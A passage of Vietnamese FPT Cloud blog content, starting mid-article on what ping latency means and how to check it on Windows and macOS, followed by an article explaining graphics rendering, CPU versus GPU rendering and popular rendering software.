như trả về của những gói dữ liệu chuẩn. Vậy hiện tại ý nghĩa của chỉ số Ping là gì? Chỉ số PING có ý nghĩa gì? Với những thông tin về khái niệm Ping là gì trên vậy hiện tại ý nghĩa của chỉ số Ping là gì? Khi sử dụng mạng internet chắc hẳn rằng đã có lúc bạn nhấn vào một trang Web nào đó để xem phim, đọc báo hoặc nghe nhạc,... Tuy nhiên phải mất một khoảng thời gian sau thầy trang Web mới có thể bắt đầu tải thì đây được gọi là độ trễ. Do đó lệnh Ping là gì này cũng sẽ góp phần đo lường về tốc độ duyệt web và cho biết được chất lượng của dịch vụ mạng.  Đối với những ai thường xuyên tham gia chơi game online thì đây có lẽ là thông số không hiểu quá xa lạ. Rất nhiều game online trên thị trường hiện nay đã hiển thị thông số này ở góc màn hình để có thể thấy được tốc độ của đường truyền mạng. Cụ thể nếu như chỉ số ping này lên tới hàng trăm ms (hay mili giây) thì chắc hẳn rằng quá trình tham gia chơi game online của bạn sẽ xảy ra tình trạng giật lag không mong muốn. [caption id="attachment_21860" align="aligncenter" width="771"] Chỉ số PING có ý nghĩa gì?[/caption] Nếu như bạn đang tham gia chơi game online chậm chạp và chỉ số Ping này quá cao thì điều này đồng nghĩa với việc đường truyền mạng đang là nguyên nhân chính. Và không phải vì cấu hình máy giống như một số người thường xuyên làm tưởng. >>> Có thể bạn quan tâm: Rendering là gì? Tầm quan trọng của Rendering trong thiết kế đồ họa PING mạng bao nhiêu là tốt? Ping là gì và Ping mạng bao nhiêu là tốt? Với thị trường internet như ở thời điểm hiện tại thì việc kiểm tra về tốc độ mạng tải thuộc khoảng từ 15 đến 50 Mbps là hoàn toàn có thể đáp ứng được những nhu cầu cơ bản sử dụng internet ví dụ như chơi game trực tuyến, xem phim online hoặc duyệt website cho nhiều người trong gia đình cùng một lúc mà không gặp những trường hợp gián đoạn nào quá lớn.  Ping 3ms là gì? Chỉ số Ping là gì và Ping 3ms là như thế nào? Nếu như tốc độ Ping ở mức dưới 10ms thì điều này đồng nghĩa với việc chỉ mất khoảng 1/100 giây là khi đó gói tin đã được gửi cũng như nhận. Như vậy điều này chứng tỏ được rằng mạng của gia đình nhà bạn hiện đại có chất lượng vô cùng tốt. 3ms sẽ đồng nghĩa với chất lượng mạng tốt.  [caption id="attachment_21864" align="aligncenter" width="771"] PING mạng bao nhiêu là tốt?[/caption] Ping mạng bao nhiêu là tốt? Nếu như Ping của gia đình bạn trong khoảng dưới 100 thì tốt nhất ở mức dưới 30 bạn sẽ không gặp phải quá nhiều những trở ngại khi tham gia chơi những game online ví dụ như liên quân hoặc liên minh huyền thoại. Nhưng nếu như chỉ số này vượt quá mức 100, cụ thể là lên tới mức 200 hay 250 thì bạn sẽ gặp phải những khoảnh khắc giật, lag vô cùng khó chịu. Vậy hiện tại cơ chế hoạt động của lệnh Ping là gì? Cơ chế hoạt động của lệnh PING Ping là gì và cơ chế hoạt động của lệnh Ping là gì? Đối với cơ chế hoạt động của lệnh Ping bạn hoàn toàn có thể hiểu một cách đơn giản như sau: Thiết bị hoặc máy tính A sẽ gửi đi 1 gói tin - packet, 1 tín hiệu tới địa chỉ IP của thiết bị B, máy tính.  Vậy thiết bị B liệu rằng có được nhận gói tin - packet, tín hiệu từ phía A hay không? Theo đó phản hồi của B sẽ trả về cho A cũng như hiển thị thành kết quả lệnh ping. Cách kiểm tra PING trên máy tính  Như vậy có thể thấy rằng Ping hiện tại đang là một chỉ số rất quen thuộc đặc biệt là đối với nhận ai sử dụng mạng internet thì chắc hẳn đã bắt gặp chỉ số này một lần. Vậy hiện tại cách thức để kiểm tra ping cho máy tính là như thế nào? Kiểm tra trên thiết bị chạy Windows  Ping là gì và cách thức để kiểm tra ping cho máy tính là như thế nào? Theo đó để kiểm tra trên thiết bị chạy windows thì bạn cần thực hiện theo những bước đơn giản sau đây: Bước 1: sử dụng tổ hợp phím Windows + R để mở CMD. [caption id="attachment_21868" align="aligncenter" width="771"] Kiểm tra trên thiết bị chạy Windows[/caption] Bước 2: Gõ vào "cmd" sau đó nhấn OK. [caption id="attachment_21872" align="aligncenter" width="771"] Gõ vào "cmd" sau đó nhấn OK[/caption] Bước 3: Ngay sau khi đã mở ra CMD thì gõ vào dòng lệnh để tiến hành kiểm tra Ping sau đó nhấn OK. Tuy nhiên cần lưu ý rằng địa chỉ IP những nhà mạng hiện tại đang là những dãy số cụ thể sau đây:  Dãy số IP của mạng Viettel là 203.113.131.1 Dãy số IP của mạng FPT là 210.245.31.130 Dãy số IP của mạng VNPT là 203.162.4.190 Đối với mỗi nhà mạng khác nhau thì bạn cần căn cứ vào dịch vụ mạng hiện tại gia đình đang sử dụng để nhập vào dãy số IP phù hợp.  [caption id="attachment_21876" align="aligncenter" width="771"] Gõ vào dòng lệnh để tiến hành kiểm tra Ping[/caption] Bước 4: Tiến hành kiểm tra Ping. Như vậy chỉ với 4 bước đơn giản trên là bạn đã có thể kiểm tra trực tiếp ngay trên những thiết bị chạy Windows.  [caption id="attachment_21880" align="aligncenter" width="771"] Tiến hành kiểm tra Ping[/caption] Kiểm tra trên thiết bị chạy Mac OS  Ping là gì và cách thức để kiểm tra trên thiết bị chạy Mac OS là như thế nào? Theo đó để có thể kiểm tra trên thiết bị chạy Mac OS bạn cần thực hiện theo những bước cơ bản sau đây:  Bước 1: Mở Spolight ngay trên màn hình thông qua biểu tượng có hình kính lúp. Bước 2: Tại khung tìm kiếm Spotlight ở giữa của màn hình nhập vào network utility để tìm Network Utility. Khi đó sẽ hiện ra ứng dụng Network Utility. [caption id="attachment_21884" align="aligncenter" width="771"] Kiểm tra trên thiết bị chạy Mac OS[/caption] Bước 3: Click vào thẻ Ping ở đầu của cửa sổ. [caption id="attachment_21888" align="aligncenter" width="771"] Click vào thẻ Ping ở đầu của cửa sổ[/caption] Bước 4: Nhập vào địa chỉ bạn muốn Ping sau đó nhấn vào Ping. [caption id="attachment_21892" align="aligncenter" width="771"] Nhập vào địa chỉ bạn muốn Ping[/caption] Bước 5: Tiến hành xem kết quả. >>> Có thể bạn quan tâm: Bộ nhớ trong là gì? Tìm hiểu bộ nhớ trong máy tính & điện thoại Ý nghĩa của thông số trả về sau khi kiểm tra Ping Ping là gì và ý nghĩa của thông số trả về sau khi kiểm tra Ping là như thế nào? Theo đó sau khi kết quả trả về có time (ms) thấp thì điều này đồng nghĩa với việc mạng của gia đình nhà bạn khá nhanh. Theo đó time giao động ổn định đồng nghĩa với việc mạng của gia đình nhà bạn rất tốt và ổn định.  Tuy nhiên ngược lại nếu như chỉ số ping này cao thì tức là time (ms) cao và mạng của gia đình nhà bạn sẽ chậm và thời gian phản hồi lâu. Điều này hiển nhiên rằng việc sử dụng mạng của bạn sẽ xảy ra một cách chậm chạp.  Nếu như bị request time out tức không thể phản hồi thì sẽ đồng nghĩa với việc kết nối internet bị ngắt kết nối hoặc bị gián đoạn. Như vậy lúc này bạn cần phải kiểm tra những thiết bị kết nối để có thể khắc phục.  Như vậy với những thông tin chi tiết được FPT Cloud cung cấp qua bài viết trên đã giúp bạn hiểu rõ hơn về khái niệm Ping là gì, các ý nghĩa cũng như cách thức kiểm tra thông số này. Theo đó có thể thấy được rằng đây là một trong những chỉ số khá quen thuộc khi sử dụng mạng internet và máy tính. Hy vọng rằng với những hướng dẫn về cách kiểm tra ping trên máy tính trên sẽ giúp bạn dễ dàng nắm bắt được chỉ số này.    Liên hệ với chúng tôi để biết thêm thông tin chi tiết về dịch vụ của FPT Smart Cloud Website: https://fptcloud.com/ Fanpage: https://www.facebook.com/fptsmartcloud Email: [email protected] Hotline: 1900 638 399

Rendering là gì? Tầm quan trọng của Rendering trong thiết kế đồ họa

16:26 08/03/2022
Rendering là gì? Theo đó với sự phát triển nhanh chóng của đồ họa máy tính thì render đã trở thành 1 khái niệm rất. Nó không nhận được với thiết kế mà cả người dùng phổ thông cũng biết tới và quan tâm. Để hiểu rõ hơn về khái niệm này cũng như tầm quan trọng của nó hãy cùng FPT Cloud tìm hiểu qua bài viết sau.  Rendering là gì? Rendering là gì? Render hay rendering dịch ra theo nghĩa tiếng Việt là kết xuất. Theo đó đây là quá trình tạo ra một sản phẩm về kỹ thuật số cuối cùng nhờ vào một loại đầu vào cụ thể. Thông thường thuật ngữ này sẽ áp dụng cho đồ họa video và hình ảnh, tuy nhiên hiện tại nó cũng có thể sẽ đề cập tới âm thanh.  [caption id="attachment_21808" align="aligncenter" width="771"] Tìm hiểu khái niệm Rendering là gì?[/caption] Đa số những trường hợp trên thị trường hiện nay khái niệm Rendering là gì sẽ gắn liền với những yếu tố về đồ họa. Chính vì vậy ở bài viết sau sẽ chỉ xét tới khía cạnh này.  Cụ thể đầu vào của một quá trình render có thể sẽ là một tập hợp những mô hình. Mỗi một mô hình sẽ là mô tả những đối tượng 2D hay 3D với những ngôn ngữ hay cấu trúc dữ liệu đã được định nghĩa một cách chặt chẽ. Những mô tả này gồm có những thông tin về điểm nhìn, hình học, bố trí ánh sáng và chất liệu của đối tượng,... máy tính sẽ đọc những mô tả này, từ đó tạo đầu ra đó chính là file video hoặc hình ảnh ở định dạng vô cùng phổ biến như MP4, jpg,… hay hiển thị trực tiếp ngay trên màn hình. Vậy hiện tại trong thiết kế đồ họa tầm quan trọng của Rendering là gì?  >>> Có thể bạn quan tâm: Bộ nhớ trong là gì? Tìm hiểu bộ nhớ trong máy tính & điện thoại Tầm quan trọng của Rendering trong thiết kế đồ họa Với những thông tin trên về Rendering là gì vậy hiện tại trong thiết kế đồ họa tầm quan trọng của Rendering là gì? [caption id="attachment_21812" align="aligncenter" width="771"] Tầm quan trọng của Rendering trong thiết kế đồ họa hiện nay[/caption] Những vấn đề thực tiễn Có 2 quá trình chính trong thiết kế đồ họa đó chính là thiết kế ngay trên phần mềm cũng như kết xuất thành những sản phẩm cuối cùng. Designer (hay người thiết kế đồ họa) trong khâu thiết kế sẽ chọn những mô hình, thêm màu sắc, ánh sáng tạo hiệu ứng,... nhờ vào những dụng cụ được phần mềm thiết kế về đồ họa cung cấp. Các dữ liệu được sinh ra trong suốt quá trình thiết kế sẽ lưu trữ vào những project với nhận định dạng cũng như cấu trúc chặt chẽ thuộc phần mềm đã được sử dụng.  Thông thường những project với kích thước lớn vì có chứa rất nhiều những file thông tin mà không nén cũng như chưa được qua xử lý. Như vậy điều này đồng nghĩa với việc dù những designer đã xem trước sản phẩm trong quá trình thiết kế qua tính năng thuộc phần mềm, nhưng những Project này vẫn không phù hợp trở thành sản phẩm phục vụ cho người dùng cuối cùng hoặc cho đại đa số những mục đích thương mại.  Những hiệu ứng phức tạp ví dụ như được dùng trong quá trình làm phim thì xem trước yêu cầu phải thực thi tất cả những xử lý trong suốt thời gian thực hiện. Điều này khiến cho máy tính quá tải cũng như không thể nào hiện lên hết kết quả trong quá trình xử lý.  [caption id="attachment_21816" align="aligncenter" width="771"] Những project với kích thước lớn đang có chứa rất nhiều những file thông tin mà không nén[/caption] Tầm quan trọng của Rendering Với những vấn đề trên đây chính là những lý do để khâu tồn tại. Khi toàn bộ những hiệu ứng, lớp phủ kết hợp lại cùng với nhau và những quá trình xử lý về ánh sáng diễn ra cùng một lần. Cuối cùng kết quả được ghi nhận đó chính là 1 file sản phẩm duy nhất, hiện tại đã xử lý xong, đã tối ưu và cũng đã sẵn sàng dùng ngay không cần tới bất cứ một tác động nào.  Phân loại Rendering chi tiết Như vậy trên đây là những thông tin về khái niệm Rendering là gì cũng như tầm quan trọng của nó trong quá trình thiết kế đồ họa. Vậy hiện tại phân loại Rendering chi tiết gồm những gì? Hãy cùng điểm qua ở phần sau đây Pre-rendering Rendering là gì? Hiện tại render đang có 2 loại chính đó chính là real time rendering và pre-rendering. Theo đó Pre-rendering chính là kết xuất về hình ảnh trước và sau đó lưu thành những định dạng phổ biến để từ đó có thể đọc được nhờ vào in ấn hoặc những trình đọc file media.  [caption id="attachment_21820" align="aligncenter" width="771"] Rendering là gì? Phân loại Rendering chi tiết trên thị trường hiện nay[/caption] Thông thường Pre-rendering sẽ tạo ra hình ảnh có nhiều chi tiết, độ chân thực và có nhiều hiệu ứng phức tạp vì vậy thường được ứng dụng trong quá trình tạo poster hoặc làm phim,... Ngược lại với đó là realtime rendering. Vậy realtime rendering là gì? Realtime rendering Realtime rendering sẽ thực hiện kết xuất hình ảnh cũng như trình chiếu trong một khoảng thời gian thực vì vậy sẽ được ứng dụng chủ yếu trong đồ họa tương tác có thể kể đến như mô phỏng, video game,...  Nên lựa chọn Rendering theo CPU hay GPU? Rendering là gì? Thực chất đây cũng là một quá trình thực hiện với hàng loạt những phép tính tương tự như những tác vụ khác ở trên máy tính. Chính vì vậy nó hoàn toàn có thể thực hiện bằng cả GPU (là bộ xử lý đồ họa) và CPU (là bộ xử lý trung tâm). Nhưng trên thực tế GPU và CPU đã được tạo ra nhắm đến các tác vụ xử lý đa dạng khác nhau vì vậy render bằng GPU và CPU cũng sẽ có một số điểm khác biệt rõ ràng.   [caption id="attachment_21824" align="aligncenter" width="771"] Nên lựa chọn Rendering theo CPU hay GPU trên thị trường hiện nay?[/caption] Tìm hiểu tổng quan Rendering theo GPU và CPU Gần đây công nghệ sản xuất đã cho ra đời các CPU với hàng chục lõi. Tuy nhiên nếu như so sánh cùng với hàng ngàn những nhân xử lý có trong GPU thì đây có lẽ là một con số quá ít. Điều này là vì CPU đã được tạo ra để thực hiện xử lý một số ít những tác vụ lớn và cần thực hiện những phép tính tuần tự (hay xử lý đồng bộ) có tốc độ nhanh nhất.  Ngược lại, GPU sẽ thích hợp dùng để thực hiện nhiều tác vụ nhỏ song song (hay xử lý bất đồng bộ) và nhờ vào số lõi xử lý lớn. Những CPU hiện đại mặt khác hoàn toàn có thể quản lý với lượng RAM lên tới đơn vị là Terabyte. Tuy nhiên trong khi đó bộ nhớ của những GPU (VRAM) hiện tại chỉ giới hạn trong vài chục Gigabyte.  Kết quả của sự khác biệt Như vậy với những điểm khác biệt trên sẽ dẫn đến một số những kết quả phổ biến sau đây:  Tốc độ của render bằng GPU sẽ nhanh hơn. Tuy nhiên nếu như xét về chất lượng hình ảnh và độ chính xác của render thì CPU sẽ làm tốt hơn. Với cùng một tốc độ xử lý về đồ họa thì một GPU hoàn toàn có thể tương đương đến 5 CPU. Chính vì vậy giá thành của GPU rendering sẽ rẻ hơn khá nhiều.  Với tốc độ xử lý nhanh sẽ khiến cho GPU hoàn toàn thích hợp với những công việc cần tới việc trình diễn kết quả trong một khoảng thời gian thực ví dụ như video game hoặc mô phỏng,... [caption id="attachment_21828" align="aligncenter" width="771"] Với cùng một tốc độ xử lý về đồ họa thì một GPU hoàn toàn có thể tương đương đến 5 CPU[/caption] Như vậy qua những thông tin tổng quan và khái niệm Rendering là gì có thể thấy được rằng dường như hiện tại render bằng GPU đang là một sự lựa chọn đêm tới nhiều lợi ích hơn. Tuy nhiên trên thực tế nó không phải là tuyệt đối. Theo đó sẽ tùy thuộc vào tính chất của công việc cần tới giá thành rẻ và tốc độ cao hay cần tới bộ nhớ lớn và độ chính xác mà lựa chọn CPU hay GPU dành cho render. >>> Có thể bạn quan tâm: GHz là gì? Cách xác định xung nhịp CPU tính theo đơn vị GHz Top 5 phần mềm Rendering được sử dụng nhiều nhất Rendering là gì và top 5 những phần mềm Rendering đang được sử dụng nhiều nhất hiện nay là gì?  [caption id="attachment_21832" align="aligncenter" width="771"] Rendering là gì? Top 5 phần mềm Rendering được sử dụng nhiều nhất trên thị trường[/caption] V-Ray Hiện tại V-ray đang là một phần mềm dành cho tất cả mọi người trong tất cả những ngành nghề đa dạng khác nhau. Theo đó V-ray hiện đang có tốc độ rendering vô cùng nhanh. Nó hoàn toàn phù hợp với phim ảnh và những studio kiến trúc nội thất.  Corona – Render Rendering là gì và Corona render là như thế nào? Theo đó đây là 1 trong những ứng dụng vô cùng nổi bật vì dễ sử dụng và tốc độ xử lý realtime rất cao. Trên thị trường hiện nay, trình render này đã và đang phát triển vô cùng nhanh chóng. [caption id="attachment_21836" align="aligncenter" width="771"] Corona render là 1 ứng dụng vô cùng nổi bật vì dễ sử dụng, tốc độ xử lý realtime rất cao[/caption] Mental Ray Hiện tại Mental ray đang là 1 ứng dụng về kết xuất đồ họa có chất lượng cao. Theo đó nó đang được sử dụng cho những sản phẩm chuyên nghiệp và được phát triển nên bởi mental images. Maxwell Render Đây đang là một trong những phần mềm hỗ trợ người dùng tạo nên ảnh mô phỏng tương tự như thật nhờ vào dữ liệu của mô hình 3D ngay trên máy tính. Vào tháng 12 năm 2004 Maxwell Render đã được giới thiệu trực tiếp ra thị trường tương tự như 1 phiên bản alpha.  [caption id="attachment_21840" align="aligncenter" width="771"] Maxwell Render đã được giới thiệu trực tiếp ra thị trường tương tự như 1 phiên bản alpha[/caption] Octane Render Render nghĩa là gì và Octane Render là như thế nào? Theo đó đã dù không phải là 1 tên tuổi lớn và nổi tiếng trên khắp thế giới của những sản phẩm 3D. Tuy nhiên trên thực tế nó cũng đang cung cấp rất nhiều những điều bổ ích dành cho những kiến trúc sư và nhà thiết kế.  Hiện tại Octane render đang có rất nhiều những tính năng mới và đồng thời đây cũng là một công cụ hỗ trợ đắc lực cho render. Đặc biệt nó còn đẩy nhanh tốc độ Render lên tới 50 lần so với việc render bằng CPU dựa vào render không thiên vị. Vậy hiện tại những lưu ý để sử dụng hiệu quả Rendering là gì?  [caption id="attachment_21844" align="aligncenter" width="771"] Octane Render cũng đang cung cấp rất nhiều những điều bổ ích dành cho những kiến trúc sư[/caption] Lưu ý khi sử dụng Rendering hiệu quả Để sử dụng Rendering hiệu quả bạn cần lưu ý một số những vấn đề cơ bản sau đây: Không dùng những tính năng khác và dùng hệ thống tản nhiệt tốt Rendering là gì và những lưu ý để sử dụng hiệu quả Render là gì? Theo đó Render hoàn toàn có thể xếp vào trong tác vụ tiêu tốn nhiều nhất tài nguyên trên máy tính. Theo đó nó hoàn toàn có thể đẩy cả CPU và GPU hoạt động với công suất tối đa, đồng thời cũng tiêu tốn bộ nhớ và gần như là không giới hạn tùy thuộc vào độ phức tạp của những sản phẩm.  Chính vì vậy khi sử dụng lời khuyên cho bạn là không nên dùng những tính năng khác trong hệ thống cũng như cần hệ thống tản nhiệt tốt để không làm giảm đi tuổi thọ của linh kiện.  Lựa chọn những dòng CPU chuyên dụng Những lưu ý để sử dụng hiệu quả Rendering là gì? Khi thực hiện render bằng CPU thì bạn hãy nên lựa chọn những dòng CPU chuyên dụng ví dụ như AMD Threadripper, Intel Xeon với số lõi lớn, thiết kế chịu tải, hỗ trợ nhiều RAM và đặc biệt là để tăng tốc độ xử lý. Còn đối với GPU rendering thì những dòng AMD Firepro và NVIDIA Quadro được thiết kế có VRAM lớn cũng như driver chuyên dụng vì vậy đối với công việc render sẽ phù hợp hơn nhiều. Kết nối nhiều phần cứng/ máy tính lại [caption id="attachment_21848" align="aligncenter" width="771"] Rendering là gì? Những lưu ý khi sử dụng Rendering hiệu quả[/caption] Nếu như có tìm hiểu Rendering là gì với công việc có tính chất đặc thù hoặc khối lượng lớn thì 1 máy tính đơn lẻ dù cho có mạnh mẽ tới đâu thì cũng không thể nào render nhanh chóng được.  Như vậy giải pháp khả thi nhất trong trường hợp này đó chính là kết nối với phần cứng/ máy tính lại với nhau để từ đó có được sức mạnh xử lý rendering tốt hơn.  Tất cả những doanh nghiệp có thể tự động thiết lập những render farm với hệ thống nhận máy tính nội bộ nhằm vận hành những phần mềm tương thích với dụ như Corona hoặc Vray.  Qua bài viết trên FPT Cloud đã cung cấp đầy đủ cho các bạn độc giả những thông tin chi tiết nhất liên quan tới khái niệm Rendering là gì cũng như một số thông tin cần biết để có thể render đạt hiệu quả nhất. Hy vọng rằng đây sẽ là những thông tin bổ ích dành cho bạn đặc biệt là đối với những ai đang làm về thiết kế đồ họa.  Liên hệ với chúng tôi để biết thêm thông tin chi tiết về dịch vụ của FPT Smart Cloud Website: https://fptcloud.com/ Fanpage: https://www.facebook.com/fptsmartcloud Email: [email protected] Hotline: 1900 638 399